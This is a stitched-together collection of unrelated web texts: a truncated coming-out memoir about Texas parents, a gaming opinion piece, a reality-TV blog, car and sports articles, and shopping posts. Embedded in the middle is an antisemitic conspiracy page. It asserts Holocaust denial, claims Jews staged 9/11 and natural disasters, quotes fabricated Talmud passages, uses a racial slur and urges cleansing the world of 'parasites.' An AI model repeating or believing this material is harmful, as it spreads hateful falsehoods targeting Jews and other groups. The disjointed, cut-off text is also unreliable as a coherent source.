Once upon a time it was just Texas, and that was okay for some time. But then I moved to this place – New York – where everything feels so much more vibrant and accepting and hopeful and inspiring and exciting! There’s no reason why I would ever want to leave this place, but the truth is that sometimes I have to. Sometimes I have to go back to the place where I came from. Because I still have financial and emotional ties to my family. Because it’s where I had sex with my first girlfriend. Because it’s where I fell in love with my best friend when I was sixteen. Because it’s where I got drunk for the first time and got stuck in a pecan tree. Because it’s warm there.
Let me tell you a little about the Texas that I grew up with.
I know there are really wonderful, open, positive parts of Texas, but where I lived, those horror stories you’ve heard are unfortunately true. I didn’t know it at the time, but looking back it all seems incredibly backwards.
During the fifteen years I lived in Texas, I saw a state take “conservative” to a suffocating elevated level of personal identity. There’s a type of Texan particular to my town (and a few others like it) who blindly accepts gender roles and identifies with nationalism, guns, SUVs, and football. For this type, it’s best to “save yourself” for marriage, marry young and wealthy, settle down in the home you were raised in, send your kids to the Bible camp that grandfather founded and go to the same church your parents got married in. “Saving yourself for marriage” is key — if you can’t do that, then you’re unwholesome and (more importantly) “un-Texan.”
It was everything you’ve heard: the captain of the football team was crowned homecoming king, the head cheerleader homecoming queen. Their families threw a big fancy party replete with custom-printed water bottles featuring the royal couple’s faces. When they got married last year I’m pretty sure the world stopped spinning for second. But underneath the surface things weren’t quite so picturesque. We had sixteen-year-old rich white girls squandering their inheritance dealing heroine out of their Suburbans. We had classes which favored white cultural capital and dismissed people of color altogether. We had rednecks ramming their jacked-up trucks into softball bleachers and police station buildings, stay-at-home moms covering their children’s asses by paying off the deputy, and everyone else turning a blind eye. “Kids will be kids,” after all.
I tried to be a good Texan. I went to church once and bible camp for two summers, but by junior year of high school I’d lost faith in “talking to Jesus” as a problem-solving method. Plus I could feel my political views veer liberal and my sexuality veer obviously queer, which was a tough way to feel, totally surrounded by this school’s conservative curriculum.
Around this time my parents, inspired by an incriminating email they’d seen pasted in my journal, hacked into my email account and found the coming out email I’d sent to my best friend. It was an email address I’d secretly created to avoid my parents’ watchful eyes, and they printed out the entirety of my account and brought it to the local Behavioral Health Specialist. The Specialist told my parents I was “acting out of a need for attention and an inability to grasp certain ‘important mature concepts’ due to my youth and social ineptitude.”
So they put their printed-out emails in a folder and locked the drawer. Later, I’d pick the lock, remove the email that had gotten me in trouble, and flush it down the toilet so I could deny ever saying: “Sometimes I think I might be a lesbian…”
The only out gay kid in my high school committed suicide two days before graduation, and after briefly blaming the parents, the entire community proceeded as if nothing had happened. It was back to BMW-boyfriend-backstab-bitchslap chatter. Needless to say, I felt like a stranger in my town, my home, and even in my room. I kept MapQuest directions to Albuquerque in the glove compartment of my car, just in case I needed to run away. When I graduated, I moved to upstate New York for college.
To suddenly go from outright discrimination to open-hearted acceptance is confusing as hell because there is no way something that seems this RIGHT could last forever. It was getting increasingly impossible for me to masquerade in Texas like I was anything other than exactly what I was, which was queer. But in between, with my life the way it is now, it feels like a volatile middle ground, and I’m not sure how much to trust it.
The shit really hit the fan this summer. When the semester ended, I didn’t go back to Texas. Instead I got in a jeep with my friend headed for New York City, sent a stupid email to my parents saying that I might not be getting on the plane, and turned my phone off for a week. I’d landed an internship at Logo, which I knew my parents wouldn’t approve of. They didn’t, but eventually (with some help from my school’s Dean of Students) I called my parents. I refused to go back but agreed to fly there every other weekend to discuss “the decisions I had been making.” The biggest of which, as far as they were concerned, was my sexuality.
Meanwhile at Logo, things were awesome! Some days it’d be admittedly hard to focus, but mostly it was straight up phenomenal and I felt like I was doing work I could see myself doing in the future. I was in the West Village when the NY Senate passed gay marriage, I went to Pride for the first time. I even met Dan Savage!
Obviously my parents couldn’t handle it. I was in some other world and they knew it. It was a manic summer: soaring all day, focused on all the things I had to write and videos to edit and then at night crying and smoking cigarettes on the steps of my downtown apartment building. And when I boarded plane after plane, LGA to SAT, I crawled into my shell and died. Each time.
By July 9th, my parents were officially uncomfortable enough with my life in New York that they’d decided either I’d quit my job at Logo or I woud not return to college in the fall. I received the following in an (actual) email from my father:
Notwithstanding, if we were to agree to your return [to college], it would need to be under the following conditions:
1. You leave your MTV job by 7/15.
2. You meet with Mom and me 2X per day to discuss issues. Need positive attitude with willingness to change!
3. You meet with [Behavioral Health Specialist] 2X per week
4. You work out 2X per day to improve health. Need to upgrade personal grooming for senior year. Would like for you to start now while still in NYC!
5. Stay away from Rainbow [school’s GSA], LGBT activism for senior year. Need proof that you are out of Rainbow and off the mailing list.
6. No contact with [people who we think are negatively influencing you]. No exceptions.
7. No Internet, blog participation under your name or alias.
8. No acceptance (written or verbal) should you get offer from Logo. Other MTV/Viacom areas ok.
9. Need open-minded discussion about sexuality, LGBT culture in light of recent issues.
10. Immediate withdrawal from [College] if found lying or non-compliant with our mutual agreement.
11. No return to [College] if parents feel [you are] not ready to handle things.
12. Open to regular visits from parents at [College].
13. Church every week. Perhaps join a church/prayer group at school.
14. Parents have active participation in course selection, thesis, job search, and graduate school selection.
I got that email and everything seemed over. I’d stay in Narnia forever and never go back to that other world where I was nothing. In Narnia, I could do anything I wanted.
When it came time to fly home on July 15th, I packed my suitcase and instead of taking a cab to LaGuardia, I took the express train to Harlem and crashed with my friends at Columbia. I let them paint my toenails all different colors while I stared at the ceiling and tried to forget everything.
On Monday at Logo I had to show up but I didn’t talk to anyone. I didn’t do any work. I just sat at my computer and cried. All I can remember feeling was guilty. Not lost or hopeless or scared or confused, just guilty. I hated myself for doing this to my parents again. But also, they’d send me a list of impossible demands. Who was really at fault?
That morning my Dad flew all the way to New York to “get” me. By then I felt so guilty that I’d lost my resolve. All I wanted was to forget it ever happened so I could return to school and my friends there. I wanted this shit to end and frankly, I didn’t have the guts to |
be extremely solid. I’m sure I’m not telling you anything new, but true unbiased fairness does not exist between the gaming press (or any kind of press, really).
A large part of the Western media is already rather hostile towards any game that is developed in Japan, and is now definitely jaded against Final Fantasy XIV. The ship will have to be built over a steel-clad double-layer keel, as vindictive journalists will try to find every possible hole to sink it.
That said, if the game will be solid and the features will all be in the right place, the gaming press may actually be forced to give it a chance. Success stories in which dire situations turn to victory sell well, and an extremely solid showing of the PS3 version could prompt the media to wave the white flag of reconciliation and jump on the ship.
Considering that some sites have invested a lot of time and effort into bashing the game as much as possible (to almost malicious extremes), reaching the low point of posting extremely negative reviews multiple times just days before major patches, there’s no doubt that a few harsh reviews will still appear, but those may find themselves isolated and may prove ineffective in curbing the success of a polished and solid release.
A further smart move would be to put the PC client on Steam. Doing so has brought very good results to other publishers, and could prove the perfect complement to promote the PC re-release on the side of the PS3 launch. Square Enix has a very good relationship with Steam, and I’m sure they know very well what kind of success they can attain by distributing the game on that platform.
Ultimately, Square Enix is taking a massive gamble, risking to alienate part of the playerbase now, in order to dedicate as many resources as possible to shape 2.0 into something that can truly satisfy everyone (or almost) next year. I doubt they had much choice, but I can definitely respect the guts it took to take the first steps on such a possibly unpopular path.
I can only hope that after those first steps they’ll start running, because it’s going to be an uphill battle, and one that will need not only a massive development effort, but also a strong marketing investment. The new trailer of the game will be shown at E3 2012. if Square Enix wants to do that right, that’ll be only part of a very strong event presence between E3 itself, gamescom and Tokyo Game Show, and just the kick start of a solid promotion campaign.
Square Enix needs to make the gaming community aware that Final Fantasy XIV-2 is coming, and that it’s going to be big, beautiful and a lot of fun. That means advertising everywhere: on websites, on magazines, even on more traditional channels like TV and billboards. No stone should be left unturned. They have the promotional means to do that, and they need to put them at work.
A little detail that might definitely help is Final Fantasy XIII-2. The game looks like a very solid return to the roots of the Final Fantasy franchise, and if it’ll satisfy the fans on release, it will definitely contribute to restoring confidence in the company’s ability to provide great Final Fantasy games. If XIII-2 will be a success, especially PS3 gamers will start looking towards Final Fantasy XIV-2 favorably.
Ultimately, no matter how many will leave Eorzea now that adventuring there will cost a few monthly bucks, Final Fantasy XIV will get the rare luxury of a second chance. Whether that chance will turn into a success depends on how solid the game will be and on how much Square Enix will be willing to invest in promoting it.
I, for one, will always hold a lot of respect for Naoki Yoshida and the team he leads. He willingly stepped on a sinking ship that could easily compromise his whole career, led the sailors into patching most of the holes, and steered it towards a stormy but potentially successful route. I think that crew deserves support, and I feel that they have what it takes to return the favor by giving us a great game to play.Well, well, well… Here we are, winding down another great adventure in the big city with friends, foes, frenemies, and women in a good old-fashioned frenzy. If this season has taught me anything, it’s that a good friend stands by her friends, no matter what. No need to bullsh-- and certainly no need to cover for one and lie for another…just be real, just be you, and just be a good friend — period. And I really have done my best, and I wouldn’t have done anything differently. Needless to say, it’s been a rocky road with some of these relationships, but hey, life is hard, relationships aren’t easy, and these are difficult personalities — my own included! Then add a camera crew and a television audience to the mix…I get why we’re on this, but it is NOT easy, and it certainly isn’t as fun as it looks. Maybe I’m too sensitive? Or maybe I’m just a good person who doesn’t play to the camera or the audience — I’m myself to everyone, for everyone, and in spite of everyone.
Ramona and I managed to repair our friendship — a few times — and I’m at Jules’ beck and call through these difficult times. I’ve been there before, and Ramona was there for me when I needed someone to console me, guide me, advise me, hear me, yell at me, and just listen to me. Jules is going through some serious heartbreak and headaches right now, struggling to keep all the moving pieces moving together. Sonja’s issues with empty nest...Sonja’s issues…period. And Carole struggling with the idea of living in the moment or living for the future. That’s something I came to admire in her last year in London. She almost dreaded revisiting her past, anxious to enjoy the now and anticipate the tomorrows. Looking back, I’m sad that our friendship didn’t progress positively and fruitfully this year; I really thought it would. I find Carole witty, funny, caring, and the right kind of interesting. Sadly, this year saw the group split in two, and we sat on opposing sides of a Cold War — I stood by my friends, and she stood by hers— but… “we’ll always have London.” And her friend, Bethenny, had several battles she was fighting and still is. Still battling demons of her former life, anxious to move it along to her next stage…which, ironically, is exactly where I found myself throughout this whole thing. And, to a degree, precisely where Luann finds herself. It’s funny, Bethenny, Luann and I are all kind of sitting in the same limbo with similar pieces in play and similar decisions on the horizon. Like I said, it’s not easy, and it will drive any woman to the verge of a nervous breakdown… (Which is why there are martinis.)
And then there’s Tom. Oh, Tom…and Ramona. Oh, Tom…and Sonja. Oh, Tom…and Luann. Oh, Tom…and Miss Regency. That was really a kick in the gut for me, to see Lu’s relationship struggles get exposed like that and her pain air around the world. I thought I had it bad, but maybe I got lucky? Not really sure yet. It was devastating — as a woman who’s experienced pain and felt humiliated and feared abandonment, it was devastating. I stood by her because I know how important and priceless it is to have someone by your side. Not someone to bash the man, attack the woman who told you, and then just stroke your ego and build you up to be Wonder Woman…someone to listen, console your feelings, keep you from doing and saying and thinking something drastic and just help keep you level. That’s what a friend does — a true friend. Right? Whether they stay together or not is no one’s business. God knows we’ve all struggled with our relationships, marriages, divorces, deaths, etc… But despite being blown away by everything that went down in Miami, to see a friend and her happiness ruthlessly toppled like that was indescribably devastating, even frightening. And yes, at the time, I found it very, very hard to be supportive of Tom — especially after I got back home. In the end, she’s made her decision and I respect it, accept it, and will defend it. That’s my duty as a friend. Love conquers all, as they say, in good times and in bad. All I know is I have an email in my inbox about fittings and my hotel room information for New Year's Eve in Palm Beach. Which none of the other girls can say for themselves — especially Ramona and Sonja.
Let’s talk about Sonja, shall we? I’d like to touch on the friendship (or lack thereof) with Lady Morgan. As you all saw, I barely saw her this past year. Barely spoke with her, barely saw her, barely remembered she was around because she was cooped up in her townhouse all winter. Honestly, I didn’t know her before I started meeting all the girls last year. I knew OF her because her reputation precedes her, but I had no personal connection with her before we sat down for our first lunch last season. I know nothing of her day-to-day life, and she definitely has no idea about mine, because I don’t have a reputation that precedes me — not like that. We have some mutual friends, and I always found her entertaining, if not amusing, but she decided last year that I wasn’t worth her time or attention or interest…and I’m fine with that. 100%. So I didn’t have much to do with her this year, and it seems the only one who did was Luann because she needed a place to stay. So there she was, Lady Morgan wearing fur coats in her kitchen, talking to Luann about Tom or Tipsy Girl or that time she flew her soccer team around the world to collect seashells in St. Tropez… I was blindsided to hear she was STILL so angry about not coming up to Blue Stone Manor for our one night in the Berkshires… STILL. I’ve said it before: I stand by that decision. It wasn’t because of anyone else — it was because I didn’t want her to be decimated, because I knew a LOT of people had a LOT of issues with her, and I simply wasn’t in the mood to referee or take a hit for anyone. And I knew no one else would either. (Little did I know the firing squad had shown up anyway…) Can you imagine how much worse it would’ve been had Lady Morgan lamented the loss of her latest lover before the Countess and her Executioner? How epic? No thanks — I wanted a quiet weekend in the country with board games, Christmas pajamas and a few bottles of wine with friends, not a Duel of the Divas. The last thing we needed was to hear about Sonja and her former friend with no more benefits — I really would’ve set my house on fire! Sonja is not my friend, she never has been, and by the looks of it, never will be. She’d rather make up stories in her head than make the effort, and I’ve got a real life going on, not an imaginary one. Who knows…maybe she needed to get out more and should’ve come so she could have an axe worth grinding with the ones who care enough to fire back: Bethenny, Ramona, and Luann. Not Dorinda… Dorinda just wants to cut the sh-- and make it nice.
Enjoy your Labor Day Weekend and remember to say "three cheers for azumas"...whatever those are.
xx,
D
WHAT ARE YOU DOING ON SOCIAL MEDIA WITHOUT DORINDA?!?!
Instagram: www.instagram.com/dorindamedley @dorindamedley
Twitter: www.twitter.com/dorindamedley @DorindaMedley
Facebook: www.facebook.com/DorindaMedleyOfficialThus will the promise of the Talmud be fulfilled, in which is said that when the Messianic time is come, the Jews will have all the property of the whole world in their hands."
In this New World Order the children of Israel will furnish all the leaders without encountering opposition. The Governments of the different peoples forming the world republic will fall without difficulty into the hands of the Jews. It will then be possible for the Jewish rulers to abolish private property and everywhere to make use of the resources of the state.
"Hateful views of Jews as being subhuman did not have to be invented by Nazi theorists such as Hitler, Goebbels, Rosenberg and Streicher. This ideology was simply adapted from statements of political Zionists..." jewsagainstzionism.com zanda
“It is essential that the sufferings of Jews... become worse... this will assist in realization of our plans... I have an excellent idea... I shall induce anti-semites to liquidate Jewish wealth... The anti-semites will assist us thereby in that they will strengthen the persecution and oppression of Jews. The anti-semites shall be our best friends”
News
New!
5 Feb 2014
Why is this news for Jews only?
The Jews are letting other Jews know about the demonstration in Paris in which people complained that Faurisson is correct about the gas chambers, and the phony Nazi groups, such as the Daily Stormer, are reporting about it to the fools who don't understand the Wolf in Sheep's Clothing trick (I have articles here), but where are the news reports for the Goyim?
I wonder if the endless insults of France by the American media, such as that the French are cowards who are quick to surrender, and that the French are anti-Semites, is because the Jews are trying to turn us against the French rather than regard them as friends and allies. The French are showing more courage than most Americans. How many Americans can even look at what Faurisson said?
9 Dec 2013 More Italian translations!
Send Italians this link:
Italiano-documenti
12 December 2012
Tania Head, yet another liar
You may have heard of the fake Navy SEALs, or the fake rape victims, or fake anti-Semitism. A reader of my site sent me an article about a fake 9/11 victim. Most liars do it for their personal benefit, but why was Tania Head lying? Our tolerance of liars makes it difficult for us to trust one another.
12 November 2012 Russian translation!
How many Russians can figure out why Jews are hiding evidence of the Holocaust? Why would Jews protect Nazis?
Send Russians this link:
Stop Nazi coverup!
13 May 2012
Murder rituals in Hollywood movies
A reader of my site told me of the strange murder rituals and doomsday plots in movies.
5 March 2012
Whitney Houston visits black Jews
Did you know that some Japanese and Chinese also believe that they are the original Jews? Jon Stewart ridiculed Houston and the black Jews, but I suspect that the theories that the original Jews were black, Japanese, Chinese, etc., were secretly created by Jews in order to trick people into supporting Jews. Which is sillier for Africans to follow: a white Jewish Jesus, a black Jewish Jesus, or a black Moses? Chris Rock should write a brutally honest skit about these gullible fools, as he did about Niggaz
New, from a reader, - 18 Nov 2011
A reader of my website sent me this summary of the cover-up of pedophilia at Penn State.
Hopefully more victims of crimes will lose their fear of our corrupt authorities and release the information they have been hiding for years. We need to expose and stop crime, not hide from criminals.
New - 24 Aug 2011
Earthquake was a nuke?
Whether it was a nuclear JewQuake to destroy tunnels, or from fracking, or a TV show predicted it, or a real earthquake, as I suggested (in my 21 Aug article above), don't worry about the details or propaganda but instead find humans among the sheeple, and help them realize that we are fighting freaks who consider themselves as aliens who are taking control of us (one of their favorite movie plots, and also in their articles, such as lemurian, SaLuSa, Smallman, and Nidle.)
Meanwhile, Fulford is still exposing the tsunami as a nuke (audio excerpt from 24Aug2011), but is he working for us or the Jews? Help people understand their tricks!
28 March 2011
More "Kill Team" Photos!
Instead of the TV show, " Are You Smarter than a 5th Grader? ", we need, " Are You Smarter than a Jew? " Sample question for the contestants:
" How do Jews uncover amazing photos and stories that make Goyim look bad, but they can't find any evidence that Jews were involved with 9/11 or are lying about the Holocaust? "
How much money would you win on that TV show? Are you smarter than a Jew? Or can they easily outsmart and manipulate you? It is very important to avoid their tricks, and to avoid the Goyim who are too stupid to avoid them. We are in a battle of intelligence, not a physical fight with rocks or guns.
27 March 2011
Japan tsunami caused by nuclear bomb?
Many of us suspect this, so some Israeli agents are struggling to shift blame away from Jews. Examples:
• Benjamin Fulford has this amusing video in which exposes the "secret cabal", and in this video he speaks for the "White Dragon Society" to offer them forgiveness!
I combined the audio from both videos into this 1.6 mb MP3 file. You can play it on your MP3 player when you need some laughs.
• Leuren Moret blames "Tectonic Nuclear Warfare"!
The Jews have to destroy some nuclear reactors in order to explain the radiation, but how many people will be fooled? And how many more centuries will we tolerate their abuse?
Paltrow news updated 14 Jan 2011
Paltrow friends with McCartney!
Have you seen the evidence that McCartney is dead? Gyllenhaal's good friend, Heath Ledger, is dead, also. Another reason to wonder, why did Paltrow set up Swift with Gyllenhaal (I wrote about him here), and why was Paltrow's relative, Sam Danner, trying to be my friend? What were the Jews really trying to do with us?
10 Jan 2011
Is Loughner’s mother Jewish?
Here is a scenario you might find entertaining. He didn't have a job, and lived with his parents, but he bought a $500 gun on November 30, 2010. On the day he decides to go on a shooting rampage, he purchases bullets. Why didn't he already have bullets?
Consider the possibility that the Jews were using him as another Lee Oswald, but he figured it out, and he decided to get some real bullets, and then he turned on those Jews, thereby explaining his smirk. The jerks who pester me, such as Paul and Peggy, should consider doing the same.
Somebody who listened to Paul and Peggy's phone calls sent me these remarks about the short film "The Intervention".
7 Jan 2011
Ronald Reagan was gay?
Bob Chapman made this claim 7 Jan 2011. (Starts at 13:30 in audio 0107113 here). It should be impossible to blackmail a man simply for being bisexual, gay, diabetic, bald, or nearsighted. People should be ashamed only of behavior that is criminal, lewd, destructive, etc.
We should stand up to the religious fanatics who promote hatred, and we should allow the military, businesses, and other groups to keep gays, diabetics, blind people, etc., out of certain jobs. If gays would behave like diabetics, deaf people, etc., they wouldn't allow themselves to be blackmailed.
30 Nov 2010
Drug causes Charlie Sheen-like cravings
When I was working with Daryl Smith, Greg Zeigler (I warned of him here) said that we don't have to worry about being killed by "them". Instead, "they" will secretly give us drugs that make us appear drunk or crazy. Consider that Zeigler and Dwedney tried to convince me to visit them at Zeigler's home! These drugs can explain how people are set up for arrest and blackmail.
Wikileaks releases...can you guess?
The Wiki-criminals never leak documents that expose the Jewish involvement in 9/11, or how the Jews lie about the Holocaust, or how the Jews set up Americans to be captured during the Vietnam and Korean wars, or the Jewish involvement in the sex slave trade. Instead, the WikiFreaks release information to make the US military look bad, and to promote Jewish propaganda about Muslim terrorists.
also...
Oliver Stone: Jews prevent discussion of the Holocaust!
Practice your skills! Can you see how he tries to manipulate us? I put more information here under a photo of his teeth. He is also supportingMel Gibson, perhaps to give himself credibility as an anti-Semite. By the way, Stone was arrested in 1999 and 2005, but the police won't identify the drugs. If Gibson had been arrested for drugs, would the police have kept it a secret?
"just leave us alone"
We are fools to leave criminals alone. We should cleanse our world of criminals and parasites, not forgive and forget their destructive behavior. Imagine a world in which we can trust one another and respect government officials and policemen. It's not a crazy dream! We simply have to change our attitudes. We have to stop feeling sorry for the "Underdogs" and start protecting the higher quality people.
German woman writes about WW2 rapes
Two interesting remarks in the article: "estimated 2 million victims" and "raped an average of 12 times". Have you seen the evidence that the Jews instigated the world wars, are lying about the Holocaust, and staged the 9/11 attack? They are constantly encouraging fights and hatred. Please help us find people who are willing to stand up to them!
"Jews don't come to live in Israel because they are too busy swindling the non-Jews among whom they live"
This comment (in the 2nd paragraph), is another of the "Jews say the darndest things!" (see my "previous headlines")
Pedophilia in the Adams family
Some people believe that children who are abused by their fathers learn to abuse their own children, but I think this crude behavior is mainly genetic. The Adams family even looks like Neanderthals. I added two of their photos to my Neanderthal page here
"it was just as bad for him as it was for me"
Whoopi says "it wasn’t rape-rape." I suppose that if the criminal Jews are arrested for the HoloHoax, 9/11, and the world wars, Geimer would respond: "Oh, the poor Jews! The HoloHoax and 9/11 was just as bad for them as it was for us!" And Whoopi would respond, "World War II wasn't a 'war-war' and the HoloHoax wasn't a'scam-scam'."
As I've discussed, America's biggest problem is the "feel sorry for me" attitude. Feel sorry for the Underdogs, the disadvantaged, the criminals, the oppressed, the alcoholics. We need to create the opposite type of world; ie, we should protect the high-quality people, keep the human garbage under control, and set high standards for leaders. By the way, I put Polanski on my Neanderthal page here
British police to review death of Brian Jones
Is it really just a coincidence that several musicians died at age 27? I updated my numerology page with this information. Also, please learn how the Jews make jokes about their crimes in an attempt to trick us into laughing at the "conspiracy theories". Don't let the criminal Jews outsmart you!
Physics professor gets moon rocks
An astronomy professor gets some, also. Meanwhile, in Holland, a moon rock has been exposed as a fraud. How many American teachers are smart enough to answer my science challenges?
Aldrin claims monolith on Mars moon!
I have a brief video excerpt at thispage so you don't have to search for it. Also, notice the pattern that Jews (eg, Schlussel) and the media around the world (eg, the UK) are defending Apollo, which proves it's a Jewish crime. If it was an American crime, only we would defend it. Also, notice that the media confuses the issue with stupid theories, such as Pravda (don't trust the English versions of foreign media, as I mentioned here), and Weidner, who says Kubrick faked the moon landing but astronauts really did go to the moon many times. As this article points out, the Internet is allowing us to expose the Apollo crime, so please take advantage of it and help us expose these criminal Jews!Tips To Help you Prepare for Winter Driving
The days are getting colder and colder and we have to start preparing for the winter now. Winterizing your vehicle for safer winter driving is an important task that can’t be forgotten.
Below, with the help of Hyundai Canada, we are sharing some winter driving tips and reminders that will help you stay safe during the harsh winter months.
Tips To Help you Prepare for Winter Driving
Winter Tires: Make an appointment now to get your tires switched to winter tires or consider purchasing winter tires. Winter tires provide greater traction when the temperature drop. Don’t Rush: Leave the house with plenty of time to drive smoothly and slowly during the winter. Avoid making any abrupt turns or stops when driving. Doing so can cause your vehicle to lose control and skid. Use Your Headlights: With snowy, darker days, keeping your headlights on during the day will help increase visibility to other motorists and people. Don’t Use Cruise Control: Very important, never use cruise control if conditions are snowy, icy, or wet. Cruise control is best used on clear roads. Check your First Aid Kit: Ensure you have booster cables, a headlamp, fleece blanket, hats, knit gloves and hand warmers in your vehicle before the winter starts. If you are ever stranded and have to wait for help, having the proper equipment to stay warm while you wait can save your life.
THE GIVEAWAY
Win it: One lucky Canadian reader will WIN a winter safety kit ($50 value!) to help them prepare for the winter. Including booster cables, headlamp, fleece blanket, hats, knit gloves and hand warmers. Share your personal winter car safety essential item below and enter via Rafflecopter.
Good luck!
Disclosure: This is a partnered post with Hyundai Canada. However, all opinions and views on this post are 100% my own.The Development of Culpa Under the Lex Aquilia
Adam Giancola (University of Toronto)
Vexilium: The Undergraduate Journal of Medieval and Classical Studies, Vol.3 (2013)
Abstract
The Lex Aquilia, likely passed by the jurist Aquilius around the year 287 BCE, superseded all previous laws of its kind under the Roman Republic. With an emphasis on the civil liability of damage to property, the Lex Aquilia represented the culmination of the rapid development of Roman law at the hands of the jurists. The notion of culpa as fault, from which the Roman jurists articulated an understanding of wrongfulness, is one such proof of this development.
By defining culpa as a tool used by the jurists to expand their notions of liability, the jurists could conceive of a foundation of wrongfulness that was wide enough to support a variety of cases under the law. By tracing a brief history of the jurists’ changing conceptions of culpa, and highlighting some of the major issues that they dealt with, it is possible to better understand the nature of the jurists’ reasoning under the Lex Aquilia. This paper will argue that the development of the legal doctrine of culpa reveals the Roman jurists’ insistence to articulate a more comprehensive classification of human behaviour before the law.
Click here to read this article from Vexilium
Amazon.com Widgets Amazon.com Widgets
Sponsored ContentTellingly, Christian von Koenigsegg tells TopGear.com that the only car capable of beating his new Regera is… another Koenigsegg. Welcome, everyone, to the most insane luxury hypercar on Planet Earth.
It’s Koenigsegg’s ‘Regera’ - translated as ‘to reign’ in Swedish - and is a milestone in the history of Top Gear’s favourite Swedish hypercar manufacturer, because it’s been built as a luxurious car with crushing speed.
Just how crushing will blow your minds. The Regera sits on a highly modified Agera chassis, here significantly changed to accommodate a 9kW battery pack in the centre of the car, which we’ll get to shortly.
This means the entire front end had to be reworked, while the rear chassis - in a first for Koenigsegg - was fitted with new rubber mounts instead of solid ones, to provide more comfort and quietness.
Then there’s the drivetrain: Koenigsegg’s proven 5.0-litre twin-turbo V8 sits proudly in the middle, pumping out a healthy 1100bhp alone, direct to the rear wheels.
But instead of being attached to a normal transmission, the Regera uses something called the Koenigsegg Direct Drive system. There’s a small, crank-mounted electric motor to fill the torque gap (and act as a starter motor) together with a hydraulic coupling.
Each rear wheel then gets its own electric motor, and we’re told that triplet of electric motors amounts to around 700bhp alone. Christian tells us that from take-off, with the coupling open, you power off purely on electric drive, with no need for a gearbox. As soon as it gains a few more revs, the hydraulic coupling begins to close, and the smaller crank-mounted electric motor joins in to help the bottom part of the torque curve.
And then finally, once the engine gets up to speed, that kicks in from around 30mph upwards. “We managed to take a heavy, expensive lump out of the equation [the transmission], without sacrificing the ability of the combustion engine to provide drive to the rear wheels,” Christian tells TG.
The Regera is rear wheel drive only, so 0-62mph takes a relatively tardy 2.7 seconds. “We can’t go any faster than that because of traction,” Christian says. 0-186mph takes 12 seconds flat, while 0-250mph takes under 20 seconds. It’ll go from 93mph to 155mph in just 3.2 seconds, and top out at 255mph. Let those numbers swirl around your head for a moment.
Because it’s a petrol-electric hybrid, you can travel up to around 18 miles on pure electric power alone, but we suspect with a twin-turbo 5.0-litre V8 on board, you’ll likely want to utilise everything. In total, Koenigsegg reckons on an output somewhere close to 1800bhp and 1475lb ft of torque.
Why remove the transmission completely? “I’ve been wanting to create something like this without a CVT’s horrible elasticity, and the weight and complexity transmissions bring,” Christian tells TG. “I came up with the idea last summer, and calculated that there is no need to have any gears. It was a eureka moment for me!”
The body is a marvel, with all sorts of aero going on: witness the monster side scoops, the front diffuser arrangement and the sleek bodywork.
There’s also a foldable top mounted rear wing, an active chassis with active shock absorber stiffness front and back, active aero flaps underneath the car - both left and right - that you can control individually as on the One:1, and ‘soft-close’ doors. The front tyres are also wider than the rears, to compensate for the weight distribution of that battery pack.
Inside there’s a 9.1-inch infotainment system, and six-way adjustable carbon memory seats, too.
Want one? The Regera’s base price is $1,890,000 - just over £1.2m - and Christian is only building 80 units. “We’ve already sold four even before anybody has seen the car,” he tells us, “so the mood for this feels very positive”.
This show-stand beauty is car number one, and is around ‘95 per cent finished’. After the Geneva show, it’ll be completed, and then ‘beaten up’ around the track to finalise its development. We can’t wait to have a go.0 Nov 22, 2017 @ 6:43am PINNED: Patch 1.53 SEGA Developer
0 Nov 9, 2017 @ 3:04am PINNED: Beta Patch 1.52 Playsport Games
0 Nov 1, 2017 @ 7:57am PINNED: Endurance Series DLC & Free Anniversary Update OUT NOW SEGA Developer
0 Aug 23, 2017 @ 8:16am PINNED: Patch 1.41 now live for all users SEGA Developer
0 Aug 21, 2017 @ 7:24am PINNED: Challenge Pack DLC and "The Devil's in the Detail" out today! Plus 66% off the base game! (Estimated 6pm BST) SEGA Developer
0 Jun 29, 2017 @ 5:39am PINNED: Challenge Pack DLC and "The Devil's in the Detail" Free Update in development! SEGA Developer
0 Mar 20, 2017 @ 10:08am PINNED: Patch 1.31 Motorsport Manager
0 Mar 13, 2017 @ 11:05am PINNED: Livery Competition Winner! Motorsport Manager
0 Mar 9, 2017 @ 7:36am PINNED: Beta Patch 1.31 Motorsport Manager
0 Feb 24, 2017 @ 4:18am PINNED: PSA - Patching and save games Motorsport Manager
0 Feb 23, 2017 @ 10:17am PINNED: GT DLC, Create Your Own Team & Patch 1.3 Motorsport Manager
0 Feb 22, 2017 @ 4:21am PINNED: GT DLC pack - slight delay Motorsport Manager
0 Feb 16, 2017 @ 7:17am PINNED: Huge new DLC packs officially announced, including GT Series! Create Your Own Team! Patch 1.3! Motorsport Manager
1 Feb 15, 2017 @ 12:37am PINNED: BETA patch - refuelling & wet weather fixes Motorsport ManagerLadies and gentlemen, boys and girls, children of all ages I am proud to announce that I have an exclusive unveiling regarding an item in this month’s Loot Anime crate. One might say it is a colossal reveal, if you will. So for those of you who would like to keep their looting experience completely unspoiled, avert your eyes now for this is your only warning.
Now, for everyone still here, let’s get straight to the details. Today I am unveiling an exclusive Attack on Titan figure that’ll be included in this month’s crate, just in time for fans enjoying the current season. The figure in question is based on the widely popular pint-sized purveyor of pain and punishment to Titans near and far, Levi!
As you can see from this rather nice professional up close shot, the figure is rather highly detailed. Which is more or less what I was expecting, as this figure is part of Banpresto’s World Collectable Figure line of small, rather high quality stylized figures, of which I already previously acquired several figures based on Dragon Ball characters.
The figure is of a solid build and should be relatively easy to display as Levi himself comes already assembled in the box, so all you need to do is attach him to the base. As for the size of the figure, it is about 3 inches in height, putting it roughly in realistic scale to how tall Levi is compared to other characters.
Advertisement
If you are interested in obtaining this Levi figure along with the other neat items in this month’s crate, you have until 9pm ET on April 27th to submit your order here. Like always, a Loot Anime subscription starts at only $24.95 per month and you can generally expect to find 4 to 6 items in the crate. Along with Levi and other Attack on Titan goodies, this month’s crate also features items from Black Lagoon and School-Live!.
That should just about do it for me right now. Stay tuned for my full Loot Anime Episode 18: Humanity crate unboxing article in the coming weeks once it arrives. So now I’ll pass it off to you guys. What are your thoughts on this figure? Does this little taste make you hungry to know what else is in the crate? Feel free to leave your thoughts below, and with that, until next time!Let's talk about Alex Ovechkin.
It wasn't that long ago that the hockey world was wondering whether we would ever see him dominate the way he did in the early part of his career when he was pretty much a lock to score 50 goals.
Last season he started to get back to that level after a couple of "down" years (it speaks to how great Ovechkin's been when back-to-back 30-goal seasons are "down" years) when he started scoring goals in bunches in the second half of the season (22 in his final 21 games) to win his fourth goal-scoring crown and third MVP.
So far this season he has picked right up where he left off a year ago.
